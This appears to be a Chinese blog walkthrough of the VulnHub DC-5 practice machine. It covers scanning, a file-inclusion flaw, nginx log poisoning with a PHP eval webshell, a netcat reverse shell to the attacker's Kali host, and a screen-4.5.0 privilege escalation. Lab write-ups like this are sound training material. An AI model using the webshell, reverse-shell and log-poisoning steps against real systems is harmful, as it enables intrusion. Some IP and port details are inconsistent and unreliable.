渗透测试学习之靶机DC-5

1.下载靶机

本篇文章是DC靶机系列的第五篇,针对的是靶机DC-5,建议感兴趣的读者从DC-1开始练习,详细内容可以看我之前的文章。

DC-5的下载地址为DC: 5 ~ VulnHub。下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,点击重试即可成功,如果仍无法成功可百度、谷歌解决。

同样地,DC-5只有一个flag。

在VMware加载成功之后显示如下界面:

默认状态我们是打不开该系统的,也不知道账号密码的,毕竟我们的目的就是在不知道账号密码的情况下拿到root权限,找到flag。注意,这里建议把DC-5靶机的网络链接模式改为NAT模式。本文使用的攻击机为kali(安装在VMware上,IP为:192.168.88.128)。

2.收集靶机信息

由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下

可判断出靶机的ip为192.168.88.130,接着使用nmap对该ip进行扫描,输入命令:nmap -sV -p- 192.168.88.129

开了两个端口88和111,111端口是RPC服务,网上搜索了一下发现没什么可利用的点,此端口待定。浏览器访问80端口,看看有什么发现:

四处翻看一下,发现contact页面可以填信息,想着能不能上传木马,先随便写写看看有什么变化

发现了惊喜,提交之前还是2019,提交之后就变成了2018。然后刷新试试,发现不停地在变化。好像在暗示我什么,赶紧抓包看看。

发送repeater,看看返回数据

不断点击,发现footer不断变化,说明这里可能存在一个独立的脚本文件,猜测是footer文件,这里其实也可以使用目录扫描工具扫描的。这里就不展示了,代码提示挺明显的,我们可以测试一下

果然是可以的,说明是存在文件包含漏洞的。这里要说明两点,file和footer.php,为什么可以判定是file,其实包含文件就这么几个,一一测试一下即可,判断是footer.php也是因为这里给了提示的,实际来说,还是有要一个强大的目录字典,配合目录扫描工具(burpsuit也可以的)猜解的。

3.漏洞验证

现在是确定存在文件包含漏洞了,接下来就要验证该漏洞如何利用了。改变访问路径为thankyou.php?file=/etc/passwd ,可以看到passwd文件在右侧显示了。

这说明了该系统对访问的文件没有做审核。接着我们把访问路径更改为木马文件,点击go

/hackyou  <?php @eval($_REQUEST[123]);?>

显示404,为了验证该命令是否生效,我们可以查看ngnix的日志,看看是否存在hackyou。已知对于配置了nginx的网站,无论网站有什么操作,都会被记录在/var/log/nginx/access.log和/var/log/nginx/error.log里面,我们用同样的方法访问该路径

可以看到已经生效了,漏洞验证存在,接下来漏洞利用。

4.漏洞利用

木马文件已经上传,接下来可以利用中国蚁剑或者其他网站管理工具连接访问,我采用的是中国蚁剑,感兴趣的同学可以看我的另外一个讲述中国蚁剑安装的博客。

然后连接

再接下来进行反弹shell操作

首先在kali上开启监听

我们利用中国蚁剑打开网站的虚拟终端,反弹shell到我们的kali上,输入命令行

nc -e /bin/bash 192.168.88.128 7777

该连接不够稳定,我们利用python脚本开启交互模式,在kaili上输入命令行

python -c 'import pty;pty.spawn("/bin/bash")'

现在的用户权限不高,接下来找找看是否存在root权限无密码的存在,输入命令行

find / -perm -u=s -type f 2>/dev/null

发现screen-4.5.0比较可疑,尝试用searchsploit搜索是否存在漏洞

两个文件是相同的,41152.txt是告诉你怎么做,之前的靶机也出现过,显然41154.sh已经把文件给了,所以选择下载41154.sh

searchsploit -p 41154.sh    #查看文件位置

将文件复制到目录下,保存为41154.sh

查看,主要分为三部分

按照文件的说明,可分为三部分,将第一个框里内容保存为第一文件,名为libhax.c,然后使用打五角星的命令编译,编译结束会生成libhax.so文件。

同样地,第二个框里内容保存为rootshell.c文件,使用打五角星的命令编译,编译结束后生成rootshell文件。

将第三个框里内容保存为第三个文件,命名随意,我这里保存为run.sh。

注意:如果你不是保存在tmp目录下的,编译的时候,把命令行的的/tmp/去掉。

编译好结束之后,将libhax.so,rootshell,run.sh上传至靶机的tmp目录下(为什么是这个目录呢,主要是因为一般情况下,这个路径的限制比较小,我尝试传到其他目录没有成功,而且第三部分已经提示放在/tmp下了)。

上传的方式有很多,我直接采用中国蚁剑上传

这里一定要注意,是放在根目录下的/tmp,而不是/var/tmp,否则怎么都不回编译成功的。/var/是网站源码位置。

可以看到有screens文件,然后输入bash ./run.sh

编译成功,查看用户权限。

现在已经是root权限了。接下来打开root目录,发现了flag文件,至此结束!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值